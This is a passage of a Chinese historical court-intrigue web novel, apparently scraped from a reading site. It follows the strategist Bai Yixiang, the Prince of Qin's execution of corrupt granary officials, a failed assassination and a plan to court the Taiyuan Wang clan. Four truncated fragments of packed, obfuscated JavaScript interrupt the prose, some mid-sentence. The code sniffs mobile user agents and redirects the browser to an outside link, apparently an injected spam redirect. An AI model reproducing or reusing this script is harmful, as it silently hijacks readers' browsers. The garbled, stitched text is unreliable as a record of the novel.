白逸襄拱手道:“韩王过奖了。” 见赵楷控制不住嘴角的笑意,白逸襄不知他为何如此高兴。 赵楷唤侍从备茶,马车停了一会,待侍从准备好茶几和清茶,马车继续行进。 赵楷亲自为白逸襄斟茶,赔礼道:“此番行事过于仓促,未提前告知先生,还望先生海涵。” 白逸襄接过茶,算是接受了他的道歉:“在下不明,韩王此举……是秦王殿下的意思么? 赵楷闻言轻笑一声,“不。” 他捡起麈尾扇,扇了扇,漾起一丝狡黠而促狭的微光,“这可不是我那耿直的二哥能想出来的主意。” 耿直? 赵玄如此心思缜密,滴水不漏之人,怎能称之为耿直? 白逸襄默然不语,静待下文。 “知渊兄可知,”赵楷忽然身子微微前倾,饶有兴致地打量着他,“自我离京,二哥寄来的书信,十封里倒有八封会提到你。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16785991|190202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >白逸襄微微一顿,抬眸看向赵楷。 “我二哥那个人,你也是知道的。” 赵楷摇着扇子,语气里带着几分调侃。 我知道什么?说的好像我跟你们很熟似的…… “他啊,像块万年不化的寒冰,言辞更是惜字如金。可信中谈及先生,却总是不吝笔墨,‘逸襄之才,可安天下’,‘逸襄之智,胜我十倍’……啧啧,我与他兄弟二十载,也未曾听过他对谁有如此高的品评。” 白逸襄大义凛然,对着窗外拱手道:“秦王殿下过誉了,能被秦王殿下赏识,微臣何其幸甚,虽赴汤蹈火,万死不辞也!” 赵楷难得的,脸上的肌肉抽动了两下。 这世上竟然真的有比自己还能演的人。 从家宅到朝堂,在从朝堂到地方,如今连在这只有方寸之地的马车之内,他也兢兢业业,乐此不疲。 他并非怀疑白逸襄有什么不轨之心,只是,总感觉他深藏不露,秘密甚多。 秘密,自是让他兴致勃勃。 更何况,二哥若真能得此品貌才学皆上乘的男儿常伴左右,不愁其霸业不成,更加不愁……他日后内心寂寞无人诉说…… 思及此,赵楷脸上笑意更胜。 白逸襄看他那不甚正派的神色,顿觉此事或许是自己想的太多,恐怕这位不按道理出牌的韩王,并没什么重要之事需要他必须随行处理。 “那么,韩王可否告知,此举,到底所谓何意?” 赵楷不再卖关子,从袖中拿出赵玄的书信递给白逸襄,“二哥让我立即到朔津议事,我一路无趣,便顺路拉先生陪我去朔津,以消解旅途之烦闷。” 果然……如他所料。 白逸襄未再理会赵楷,而是专心看信,赵玄信中提到龙四之事,又急招赵楷来朔津,白逸襄略作思量,顿觉茅塞顿开。 妙!妙啊! 此前白逸襄虽知赵玄必然会想办法将龙四收为己用,却未曾去想秦王该如何招安,如今想来,派谁去都未必能说服龙四。 唯有赵楷! 白逸襄赞许的点点头,秦王识人用人之能,胜自己十倍! 得此明主,何愁霸业不成? 白逸襄突然眼神热烈的看向赵楷,这一次,换赵楷莫名其妙,被他盯得浑身难受。 白逸襄将书信还与赵楷,道:“韩王抬爱,逸襄理当随行。只是,你我二人车架若是未去江南,而是去了朔津,恐太子殿下猜疑,对秦王不利。” 赵楷笑道:“先生放心,小王自有安排。” 当晚,韩王车驾进入清平郡东部永和县,此县通南北东三向,是清平郡最重要的商贸集散要地。 韩王一行人在县丞的官邸住下,夜里,县丞官邸的后门驶出两辆形制朴素的马车,及十几名随从,一路向北驶去。 第二天,县丞官邸驶出了韩王华贵的马车,连同二十位亲兵陪驾朝东南进发。 …… 27.第 27 章 白逸襄同韩王赵楷的车驾一路向北,驶向朔津郡之时,黑石峡最大的灾民营地中央,一夜之间,立起了一面一人多高的牛皮大鼓。 鼓身漆黑,鼓面紧绷,在晨光下泛着幽冷的光。鼓旁立着一块高大的木牌,上以醒目的朱砂,书写着几行遒劲的大字。 一个身着洗得发白的青衫、面容清瘦的书吏,正站在鼓前。他便是沈酌,此刻他环视着四周那些麻木而畏惧的目光,用他那并不洪亮、却异常清晰的声音,反复诵读着木牌上的告示: “奉秦王殿下令!体恤灾民疾苦,特设‘鸣冤鼓’于此!凡有能揭发官吏克扣口粮、虚报人头者,一经查实,赏银百两!授‘免役券’一封,三代之内,免除徭役!” 这番话,如同一块巨石,投入了死水般的营地。 起初,是死一般的沉寂。那些面黄肌瘦的灾民,只是远远地窥伺着,眼中满是怀疑与畏惧。赏银百两?三代免役?这天底下,岂有这等好事?怕不是又是什么哄骗人的新花招。 就在这时,几个平日里在营地作威作福的工头,交换了一下眼色,狞笑着朝人群中几个面露异色的灾民走去。 可他们刚走出两步,便只觉得后颈一凉,一股麻痹感瞬间传遍全身,随即眼前一黑,便人事不知。 人群中发出一阵细微的骚动,随即又恢复了平静,仿佛什么都未曾发生。只有几个眼尖的灾民,瞥见了几道黑影,如鬼魅般一闪而过,没入了窝棚的阴影之中。 秦王暗卫,早已布控四周,雷霆之威,无声而至。 第一批意图破坏政令之人已然销声匿迹。 沈酌没受干扰,开始了第二步。 他命人抬出数口大锅,当着所有人的面,将一袋袋饱满的粟米倒入锅中,架起火,煮起了浓稠的、几乎不见水分的干饭。很快,一股久违的、纯粹的米饭香气,便蛮横地钻入了每一个灾民的鼻腔,勾起了他们腹中最原始的饥饿。 “殿下有令!”沈酌再次高声道,“旧有名册,尽数作废!自今日起,口粮不再按人头发放,改为‘计功筹食’!凡参与修筑河堤者,每掘土一担,可至工头处,领取‘工筹’一枚!” 他高高举起手中一片刻着“秦”字的竹筹。 “凭此工筹,可至此粮台,换取干饭一碗!肉汤一勺!多劳多得,上不封顶!” “肉……肉汤?”人群中,终于有人发出了不敢置信的惊呼。 就在这时,一个身材干瘦、脸上带着几道疤痕的中年汉子,不知是饿疯了,还是被那“赏银百两”、“三代免役”的承诺冲昏了头脑,他猛地从人群中冲了出来,“扑通”一声跪在了鸣冤鼓前。 “草民……草民有冤要鸣!”他嘶吼着,抡起鼓槌,用尽全身力气,狠狠地砸在了鼓面上! “咚——!!!” 那一声沉闷而响亮的鼓声,击入每个食不果腹的难民心底。 有了第一个,便有第二个,第三个…… 被压抑了太久的怨气,终于找到了宣泄的出口。 灾民们蜂拥而上,将沈酌和他的书案围得水泄不通。 “官爷!我们队上的王工头,每日只发半碗稀汤,他自己却顿顿有白面馍馍!” “官爷!我亲眼看见,粮仓的刘大使,昨天夜里偷偷拉走了三车粮食!” “还有我……我弟弟明明上个月就累死了,可工头的名册上,还记着他的名字领工钱!” 群情激愤,人声鼎沸。 沈酌端坐于案前,他身后的书吏们,奋笔疾书,将一条条线索,一个个名字,都详细地记录下来。 * 三日后,朔津郡官仓永丰仓外,再次人头攒动。 赵玄身着玄色筩袖铠,腰间束着一根粗犷的犀角带,肩上罩着一领大红织金战氅,于风中猎猎作响,他按剑立于临时搭建的高台之上,更显英姿卓绝。 赵玄身旁站着彭坚及监察御史陆琰,身后,是数百名盔明甲亮的朔津军,肃杀之气,弥漫四野。 台下,跪着一排被五花大绑的官吏和工头,为首的,正是永丰仓的仓储大使刘弥和几个平日里作威作福的总工头。 沈酌手持一卷核实完毕的罪状,高声宣读。每一条罪状,都有数名灾民出面指证,人证物证,俱在。 “……仓储使刘弥,监守自盗,倒卖官粮三千石,罪证确凿!” “……河工总役头张顺,虚报户籍三百一十名,克扣廪食钱饷,致二十三名河工冻饿而死,罪大恶极!” 听着那一条条触目惊心的罪状,台下的灾民们,眼中由麻木转为愤怒,最后,化作了滔天的火焰。 就在此时,一阵喧哗声自人群后方传来。一队由十数辆华丽马车组成的车队,在一众家仆的簇拥下,竟蛮横地冲开人群,停在了高台之前。 为首的车驾上,走下一位身着紫色襕衫、头戴玉冠的老者。他面容清癯,眼神倨傲,正是朔津郡的中正官,出身太原王氏的王聃。他身后,跟着数位同样衣着华贵的本地士族代表。 王聃并未理会高台之上的赵玄,而是环顾四周,对着那些衣衫褴褛的灾民,皱起了眉头,用一种仿佛施舍般的语气,朗声道:“尔等愚民,受奸人挑唆,在此喧哗,成何体统!刘大使乃我王氏远亲,平日里乐善好施,岂会行此贪墨之事?定是尔等刁民,欲敲诈勒索!还不速速散去!” 他颠倒黑白,嚣张至极,直接将矛头指向了所有灾民,将一场官吏贪腐案,轻描淡写地定性为“刁民闹事”。 他有这个底气。 身为一郡中正,掌管着朔津所有士人的品评与仕途,即使是郡守,见了他也要礼让三分。 更何况,他乃太原王氏,更是天下望族,岂是一个尚无根基的皇子能轻易撼动的? 台下的流民,被他这股气势所慑,刚刚燃起的气焰,瞬间被压下大半,纷纷畏缩后退。 面对台下的王聃,赵玄没有动怒,只是静静地看着。 远处则已有几个隐于人群中的“精壮”灾民互相使了眼色,一步步上前。 王聃见状,愈发得意。他上前一步,对着赵玄,只是微微一拱手,连腰都未曾弯下,便算是行了礼。 “殿下,”他慢条斯理地道,“此等小事,何须殿下亲劳?不过是些许刁民与胥吏之间的口舌之争,交由老夫与郡守处置便可。殿下身份尊贵,还是请回营帐歇息,莫要被这污秽之气,脏了您的贵体。” “杀了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16792056|190202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这群畜生!”人群中,不知是谁,第一个喊出了声。 “杀了他们!杀了他们!”接着是第二个人、第三个人。 呼喊声顿起,很快便如山呼海啸,再度汇成一股洪流。 王聃及其他士族被这喊声惊到,四下看了看,却找不到最初的始作俑者。 赵玄未去理会王聃,他看着台下那一张张群情激奋的脸,缓缓拔出了腰间的佩剑。 他手腕一沉,剑尖斜指地面,而后以一种缓慢而充满力量的姿态,划过一道冰冷的弧线,最终定格,遥遥指向台下跪着的那一排死囚。 “本王在此,以大靖国法宣判——” “刘弥、张顺等一十三人,贪墨国帑,草菅人命,罪不容赦!” “——斩!” 随着他最后一个字落下,亲兵雪亮的刀光闪过,十三颗人头,应声落地。 鲜血,染红了粮仓前的土地。 那刺目的红色,让王聃脸上的倨傲瞬间凝固。他怔怔地看着地上那几颗兀自滚动的人头,眼中满是不敢置信。 “你……你竟敢……”王聃声音已经有些发抖。 “我有天子令,有何不敢?”赵玄看向陆琰,恭敬道:“陆御史,可否为王中正解惑?” 陆琰会意,上前一步,自宽大的袍袖中,双手捧出一柄符节。那符节以坚竹为柄,顶端饰以层层牦牛尾,正是天子使节的最高信物! 他高举符节,面向王聃及众士族,声如洪钟:“陛下有诏,以臣为持节监察御史,巡查朔津!凡二千石以下官吏,若有贪赃枉法、危害社稷者,临事处置,先斩后奏!” “先斩后奏”四字,如四记重锤,狠狠砸在王聃心头!持节使节,如君亲临!这意味着赵玄在此地的一切雷霆手段,都得到了皇帝的最高授权! 王聃回头看去,与他一同前来的士族代表们,早已吓得面如土色,一个个悄悄缩回了车驾附近,只留他一人孤零零地站在空地上。他方才的气焰,此刻已荡然无存,整个人僵在原地,如遭雷击。 “王中正,”赵玄缓缓走下高台,伴着金戈铁甲的沙沙声,步履沉稳地来到王聃面前。 “你方才不是说,要替本王处置么?”他的声音不大,却带着一股令人心悸的寒意。 王聃的身子,不受控制地颤抖起来。他强撑着最后一丝世家大族的体面,嘴唇哆嗦着:“殿……殿下……你……你可知,刘弥他……” “本王知道。”赵玄打断了他,提起剑尖,轻轻挑起了王聃的下巴,迫使他与自己对视。 “本王还知道,在场的诸位,与这些死囚,或多或少,都有牵连。”他的目光扫过王聃身后那些早已吓得面无人色的士族代表,“本王今日只斩首恶,是给你们,也是给你太原王氏,留几分体面。” “若再有下次……” 赵玄剑锋一转,那泛着寒光的剑刃,轻轻地搭在了王聃的脖颈之上。 “本王,不介意多杀几个贪官。” 说罢,他收回长剑,看也不看那已然瘫软在地的王聃,转身对彭坚下令: “将这些士族‘请’回府中,闭门思过!三日之内,凡出府门者,同罪论处!” “诺!” 28.第 28 章 朔津之夜,寒意已深。秦王赵玄的营帐外,除了巡弋卫兵甲叶偶尔碰撞的轻响,便只剩下风穿过营帐缝隙时发出的呜咽。 帐内,赵玄正对着一卷舆图凝神思索,忽闻帐外传来一声极轻微的、仿佛夜枭振翅般的锐响,赵玄警觉如兔,抬脚勾起塌边的长剑,同时跃起,接住长剑。 他身形刚稳,便听到几声打斗,紧接着,一人从帐帘外飞了进来。 赵玄急闪躲开,那人摔出丈许后撞到了他的床榻上,随后另一个黑影如鬼魅般闪入,短刀抵住了对方的脖子,另一只手迅速扯下对方的面巾。 飞进来的那人相貌粗鄙,平平无奇,他望着赵玄,喉间顿时发出“嗬嗬”之声,口角溢出黑血。 手持短刀的影十三见状连忙封住他的穴道,却为时已晚。 “刺客已死。”影十三低沉的声音响起。 这一切发生的如此迅速,只在一息之间。 同时,彭坚也率亲兵冲进帐中,见到刺客已死,赵玄安然无恙,连忙单膝跪地道:“殿下,我中了此人调虎离山之计,还好影十三在,不然末将万死难辞!” “无碍,彭将军已经很快了,只是这人更快。” 赵玄单手扶了一下彭坚,转身走到那尸旁,蹲下身,在那人颈后摸索片刻,并未发现任何帮派或组织的刺青。 赵玄突然脑海中浮现出白逸襄在献破敌三策后最后那句——“殿下小心刺客。” “这刺客到底是谁派来的?”彭坚恼道。 赵玄摇头。 他此次黄河治水,得罪的人可多着呢,谁都有可能想杀了他。 但是,有能力豢养死士的人,却不多。 “殿下,你说,这人与烧粮仓那个,是一伙的吗?”彭坚又问。 赵玄仍是无法作答,朝内、朝外,郭亮、太子、王聃、及被他斩首的那些人的同党……可能性太多,再加上刺客已死,就更无法锁定目标了。 赵玄心中思绪万千,面上却不露分毫,淡定吩咐道:“处理干净,加强戒备,今日之事不要走漏半点风声。” “诺。”彭坚抱拳道,然后亲兵上前,处理尸体。 影十三则早已隐去了身形,无声无息。 …… 隔天傍晚,赵玄正在帐中与几位近臣议事,突然卫兵来报,说有几个做商人打扮的人求见秦王。 并附了两句诗:“朔风吹劲草,皓月照白霜。” 彭坚立即警觉道:“难道又是那伙人玩的把戏?!我去会会!” 赵玄忙拦住彭坚,吩咐道:“是自己人,请他们进来吧。” 赵玄起身相迎,其他人也连忙站起,待帐帘掀开,见到赵楷那熟悉的身影,他脸上露出难得的笑意:“三弟怎的如此快便到了?” “二哥召唤,小弟岂敢耽搁?”赵楷迎上前,熟络地拍了拍赵玄的肩膀,随即侧过身,露出了身后那道缓步而来的身影,“二哥你看,我将谁给你带来了?” 帐内烛火摇曳,映出来人黑灰色的衣袍和清冷如玉的面容。 在看清来人的一瞬间,赵玄瞳孔猛地一缩,脸上的笑意瞬间凝固。 他从未想过能在这样一种情形下,见到白逸襄,一时间,脑中竟有一些空白。 但他很快调整好心神,露出惊诧又欣喜的复杂神情。 “知渊先生?” “臣白逸襄,见过秦王殿下。”白逸襄上前一步,长揖及地。 白逸襄竟然称“臣”,在场众人都互相看了看。 赵玄也是意外的睁大了眼睛,但也只一瞬的变化,便被他很好的隐藏起来,他一个箭步上前,忙扶起白逸襄。 “先生快快请起!先生大病未愈,何需行此大礼!快,请上座!” 他不由分说地将白逸襄引至帐内的榻上。 赵楷勾起一抹促狭的笑意,朝着赵玄挤了挤眼。 赵玄几不可见地蹙了蹙眉,回了他一个略带责备的眼神。 他并非不喜白逸襄前来,只是觉得赵楷此举太过胡闹。将一位东宫詹事带到自己营中,这若是传扬出去,于白逸襄,于自己,皆是不利。 他内心无奈的摇头,这倒像是爱胡闹的赵楷能做出来的事。 哎…… 白逸襄并未过分客套,说了句“请”,便大方的坐下来,众人这才注意到白逸襄身边跟了个一脸横肉的壮汉。 白逸襄给那壮汉使了个脸色,那壮汉不太情愿的列队到赵楷亲随的身边。 接着白逸襄对秦王近臣拱手道:“子詹兄、屹川兄,别来无恙乎?” 冯玠和陈岚皆是一愣,冯玠心道:他们虽是赵玄的僚属,但鲜少出现在人前,跟白逸襄更是从来未曾见过,与儿时便名满天下的“麒麟儿”白逸襄比,他们可以说是相当透明的人物。更何况他们身为秦王僚属,为避免给秦王惹到麻烦,他们本身就相当低调,了解他们的人少之又少,但白逸襄居然知道他俩的表字,又这般热络的称兄问候,这让本就谨慎的冯玠对白逸襄生出一丝戒备。 陈岚却想,听闻白逸襄相貌俊美,如今看来,他虽略带病容,却比传闻中更加风姿卓绝。想他如今刚20来岁,却有如此智谋和风度,真是前途无量啊! 冯玠虽然年长白逸襄十岁,却也连忙道:“劳烦知渊兄挂念,子詹一切安好。” 陈岚也道:“久闻先生大名,今日得见,果然气度不凡。” 白逸襄微微颔首,施礼道:“屹川兄过誉了。” 在一旁的彭坚却被他们这套酸腐的客□□得抓耳挠腮,欲插嘴制止,却对上赵玄警告的眼神,只能无奈作罢。 彭坚甩开披风,别开脸,虚抱双拳道:“见过白詹事!” 白逸襄笑道:“彭将军威名远播,在下心向往之。今日得睹尊颜,方知传言不虚。” 彭坚老脸一红,忙笑道:“过奖,过奖,哈哈哈……” 彭坚的笑声,惹得在场的人都跟着笑了起来,气氛一时变得轻松了许多。 赵玄上下看了看白逸襄,感觉他似乎比上次见到时气色好了许多,身形也没那么单薄了。便道:“清平郡距此千里之遥,先生贵体,如何经得起这般颠簸?” “我在清平郡不问政事,连日修养,身体已然大好,殿下不必忧心。” 白逸襄一语双关,太子治水不力,他一直装病,自然没有政事可烦。 赵玄明白他话中玄机,笑道:“先生安好,社稷之福。” 白逸襄没再继续客套,直奔主题 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16802384|190202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“殿下,前番草民所献三策,朔津这边,施行得如何了?” 白逸襄所问,正是赵玄所想。 他便将黑石峡斩杀贪官酷吏,以及在高台之上,以天子节钺震慑王聃等一众士族之事,简略地说了一遍,却并未当着众人之面提及刺客之事。 彭坚也接着赵玄的话茬,绘声绘色的描述起黑石峡斩杀贪官的情况。 冯玠与陈岚也认为,此番行事,快刀斩乱麻,既立了威,又安抚了民心,是当时情境下的最优之选。 岂料,众人意气风发之时,白逸襄却突然从塌上站起。 几双眼睛同时看向白逸襄,不明所以。 只见白逸襄面色深沉,略带忧思,缓步走至帐中,接着,他突然回身,对赵玄道:“殿下此举,极为不妥。” 此话一出,众人皆惊。 “你!”彭坚顿时怒火中烧,欲上前呵斥。 “彭坚,不得无礼!”赵玄抬手制止了他,目光却一瞬不瞬地盯着白逸襄,白逸襄不闪不躲,与赵玄直视,帐中众人顿时屏息,唯有目光在空中无声交锋。 原本在一旁看热闹的赵楷,此时也感受到了一丝冷意。他还是头一回见到,有人敢当着他二哥的面,说他“不妥”。须知他二哥以往的雷霆手段,谁人敢比肩,又谁人敢质疑? 有趣,果然有趣! 赵玄时间并没有凝滞太久,他淡然一笑,打破了沉寂,开口道:“还请先生赐教。” 白逸襄脸上也露出浅浅的笑意,他轻施一礼,踱步至帐中案几上铺设的舆图前,指尖落在其上,缓缓道:“殿下以雷霆手段,斩杀贪官,震慑士族,于一时而言,确能立威,收拢民心。然,殿下胸怀大业,所谋者,非一郡一州之得失,而是天下之安稳。” 他并未直言“称帝”二字,但“胸怀大业”、“天下安稳”已是再明显不过的指代。 赵玄眸中精光一闪,那本就英气的面容,更添了几分神采。 白逸襄继续道:“士族门阀,盘根错节,权势滔天。雍州王氏,幽州韩氏,哪个没有养兵?哪个门下没有干吏?殿下今日以强权打压,固然痛快,却也断了与他们结盟之可能。此举,是将其推到了殿下的对立面。日后,他们必会积蓄反心,联合抵制殿下。因为在他们眼中,殿下非但不能为他们带来利益,反而只会剥夺他们的权势。如此,殿下纵有经天纬地之志,若失了这天下世家之心,将来那问鼎之路,怕是步步荆棘,隐患无穷。” 问鼎之路…… 如此直白,这话传出去是何等的大逆不道? 赵楷喝进嘴里的茶,差点喷出来。 这白逸襄已经完全不拿自己当外人了…… 赵楷突然有一种感觉,他们如此费尽心思的去试探拉拢白逸襄,会不会是多此一举? 赵玄静静地听完白逸襄的话,虽千头万绪,却瞬息理清。 白逸襄所言,字字珠玑,如晨钟暮鼓,敲在他心头。 他确实……虑之不远。 赵玄肃然起敬,长身而起,走向白逸襄,与他对面而立,恭敬拱手,道:“先生之言,令我茅塞顿开。然,事已至此,不知先生可有良策挽回?” 白逸襄坦然受了他这一礼,暗暗松了口气。 29.第 29 章 白逸襄道:“殿下不必忧心。正因殿下行了这‘不妥’之事,如今,反倒有一计可用,可将危局,化为良机。” 赵玄道:“哦?是何良机?” “臣在太子行辕时,曾无意间听太子殿下提及,当朝尚书令王云,是太原王氏真正的领头羊,近来正告病还乡,于祖宅静养。其祖宅便在邻郡,快马一日可达。” 他顿了顿,缓缓道:“有此机缘,只需委屈殿下一次。” 赵玄眸光闪动,似是明白了问题的重点,却一时间无法抓住其中玄机。 白逸襄走近一步,压低声音道:“殿下明日,当备厚礼,亲自登门,去王王尚书府上……赔罪。” “赔罪?!”早早便凑到两人跟前的彭坚,听到白逸襄的话,连忙插嘴:“先生,这……这万万不可!殿下乃千金之躯,岂能向一臣子低头!” 赵玄却未言语,只是示意白逸襄继续。 “殿下此去,非为低头,乃为攻心。” 白逸襄顿了顿,环视在场所有人,以示尊重,随即目光再次投向赵玄,继续道:“王聃不过是王氏远亲旁支,王氏真正的首领,乃是尚书令王云。王聃之流,不过是狐假虎威,王云一句话,便可定其荣辱。王尚书此人,看似中立,实则如老狐坐山观虎斗,静待时机。晋王之跋扈,楚王之文弱,皆非其属意之人。我听闻,此二王都曾遣人重礼示好,却皆被他以‘年事已高,不问世事’为由,婉拒门外。” “他人奉上的是金银权势,殿下奉上的,却是‘礼贤下士’的姿态与‘共渡难关’的诚意。王云此人常以孤臣姿态示人,我观他并非无欲无求,反而是心机深沉,他会拒重礼,却不会拒绝一位亲王放下的身段。殿下当对王尚书晓之以理,动之以情,言明自己年少锐气,行事操切,亦是迫不得已。只因陛下早已对地方贪墨之事龙颜大怒,特派持节御史前来,若不严办于此彻底结束,恐牵连更广。此举,既是为国法,亦是为了保全太原王氏的体面,故而只能挥泪斩马谡。如此,既是将此责弱化转移至朝廷,又对王云为首的世族大家有了交代。” “赔罪之后,殿下可再进一步,恳请王尚书以天下为念,为此次赈灾,带头捐输钱粮。王氏为天下望族,他若振臂一呼,朔津乃至雍州上下士绅,谁敢不从?届时,殿下不仅能解钱粮之困,更能得一个‘感化士族,共赴国难’的美名。此功绩,远胜于斩杀百名贪官!” 陈岚听到这里,再也绷不住,站起身来道:“殿下,知渊先生此计甚妙!” 冯玠也起身恭敬道:“此策甚好,只是那王云未必肯出钱赈灾吧?” 白逸襄道:“冯公请放心,只要秦王亲自出马,那王云必会同意。” 冯玠愣了一愣,随即点头道:“那王云非是不看重名利,而是有更大的野心?” 白逸襄赞许的点点头,“正是如此。” 肚子里没多少墨水的彭坚却听得云里雾里,见大家都点头称是,他便凑到陈岚旁边小声问道:“陈主簿,他们,什么意思?” 陈岚道:“天机不可泄露……” 彭坚怒视陈岚,陈岚见状连忙用彭坚能听懂的语言道:“彭将军,你只需知道,那王云脑子极其好用,他比别人更能看出殿下的未来,若青囊辅佐,必然对他有利。就好似……赌博押宝……他会觉得押咱们殿下准没错,你明白了吗?” 彭坚恍然大悟,笑道:“原来如此!那的确是好策!” 众人面露喜色,都看向赵玄。 赵玄并未思量太久,转身坐回榻上,道:“此事,就依先生所言,陈岚,冯玠,你二人即刻备礼,明日与我一同前往。” “诺!”陈岚、冯玠同时应道。 …… 赵玄安排好一切,又与赵楷商议好招安龙四之事,待送走白逸襄和赵楷,他携几位心腹回到帐中,冯玠立即直言道: “殿下,白逸襄此等人才,若不能为己所用,必成心腹大患啊!” 他见赵玄神色深沉,并未答话,便知赵玄也应是有此顾虑。 陈岚却道:“哎,冯公,你又来了,我却觉得那白逸襄很是诚恳,不似怀有二心。” 冯玠道:“我当然希望他是真心投诚,可是,人心难测,你别忘了,他现在的身份仍然是东宫詹事!” 陈岚道:“他虽是东宫詹事,却为秦王屡献奇策,若非真心,何苦汲汲营营至这番田地?你不要忘了,白逸襄之父乃当朝太傅,白家门楣和声望,可是各个皇子争相抢夺的资源。他若非是看中了咱们殿下的雄才伟略,问鼎之心,以白家之傲骨,又怎可能屈尊投诚?” 冯玠被陈岚一番话说的哑口无言,想了想,又道:“你说的自然有理,可是我总觉得哪里不对,他为何突然转向?这一切你们不觉得发生的太突然了吗?” 确实突然,从白逸襄突然大闹清音阁开始…… 赵玄一直都没弄明白,如此清高的人,为什么突然不惜牺牲自己的名节,投诚于他? 若仅仅是看中自己的能力,那为何在清影阁事件之前几天他还对自己十分冷淡,看自己的眼神甚至带着几分讥讽和鄙夷? 可现在…… 他想起那个面色苍白、身形单薄的清冷公子,如今却是甘愿臣服的至诚模样。 这一切,的确发生的太过突然,所以才让他一直对白逸襄抱有戒心。 如果对方一开始就不是太子幕僚,或许,他对白逸襄也会像对冯玠和陈岚一般信任。 他压下自己纷乱的思绪,抬手制止了二人的争论,“二位说的都有道理,然,本王正是用人之际,理应不拘一格降人才,白逸襄除却东宫詹事这一身份外,业已做足了他的本分,我既已决定用之,便不再存疑,两位先生日后须与白逸襄合作无间,为我大靖国的繁荣昌盛尽一份力,切莫再提及今日之事了。” 冯玠和陈岚互相看了看,连忙称“诺”。 …… 翌日,天未亮,赵楷亦向赵玄辞行。他领了秦王密令,只带数名精干亲随,换上商贾行装,悄然离了朔津,径直南下,往那大运河上神秘的“地下水路之王”——龙四的所在而去。 而秦王赵玄的车驾,亦是经过一日一夜马不停蹄的长途跋涉,隔天下午,停在了太原王氏族老王云的府邸门前。 * 秦王车驾离去后的两日,朔津郡外的官驿显得愈发清冷。秋雨淅淅沥沥,敲打着檐下的芭蕉,驿站的青瓦上氤氲起一层薄薄的水汽。 楼下茶社传来丝竹之声,客房内,香炉内青烟袅袅,暖炉里的炭火噼啪作响,白逸襄并没有让自己享受这难得的悠然时光,而是让石头守在门外,自己则将数张洁白的茧纸①用米胶粘连,铺满了整张大案。他手执一管狼毫,时而凝神沉思,时而疾书于纸上。笔下所绘,并非山水花鸟,而是一张交错纵横、繁复至极的水系脉络图。图中无山川,无城郭,只有无数以朱砂标记的码头、渡口、漕帮、鱼市,密密麻麻,如满天星斗。 石头不懂郎君在做什么,只是觉得那图上纵横的线条,比他见过的最厉害的蛛网还要复杂。他不敢打扰,便蹲在门口,抱着一大碗生甘栗,慢慢嗑着吃。 第三日午后,雨势渐歇。窗棂处忽然传来一声微不可察的异响,一道黑影如夜枭落羽,悄无声息地滑入房中。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16811523|190202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “谁?!”石头虽然壮硕但反应极快,一个箭步便挡在了白逸襄身前,双手交叉,腕间金刚护腕因相互撞击,叮当作响。 当看清来人,石头稍微松了口气,却仍是护在白逸襄身前,不敢怠慢。 影十三不理他,径直走到案前,从胸口处拿出一片简牍。他对着白逸襄一抱拳,“先生,主子的手书。” 白逸襄放下笔,从石头身后走出。他接过犊片,快速阅览,上面用草书写着三列小字: “先生之谋,已然功成。朔津士族,皆以王氏马首是瞻,捐输钱粮者,络绎不绝,新政推行,再无掣肘。先生之才,神鬼莫测,玄,拜服。后续机宜,还望先生即刻移驾营中,共商大计。” 白逸襄看完,将简牍丢于火盆,对石头道:“备车。” …… 半个时辰后,秦王大营主帐之内,气氛肃然而又振奋。彭坚、冯玠、陈岚等几位秦王心腹皆已在座,见白逸襄随赵玄步入帐中,纷纷起身,恭敬行礼。 “见过知渊先生。” “诸位大人请。”白逸襄微微颔首,礼仪周到。 赵玄端坐主位,身着暗紫袍,头戴簪金冠,通身气派,较往日更胜。 即使白逸襄并未与他正面对视,已经能感受到他散发出来的愉悦气息。 赵玄待白逸襄落座后,才开口言道:“先生,如今朔津之事已定,以工代赈的新政亦已推行。那王云果然不负所望,带头捐出万石粮米和十万钱。有他做表率,朔津士绅无不景从。接下来,便是该如何向父皇上奏此事,先生有何建议?” 这确实是眼下最棘手之事。此事若奏报得好,便是大功一件;若有半分差池,便可能落个“构陷储君,意图染指”的罪名。帐内众人,皆屏息凝神,望向了白逸襄。 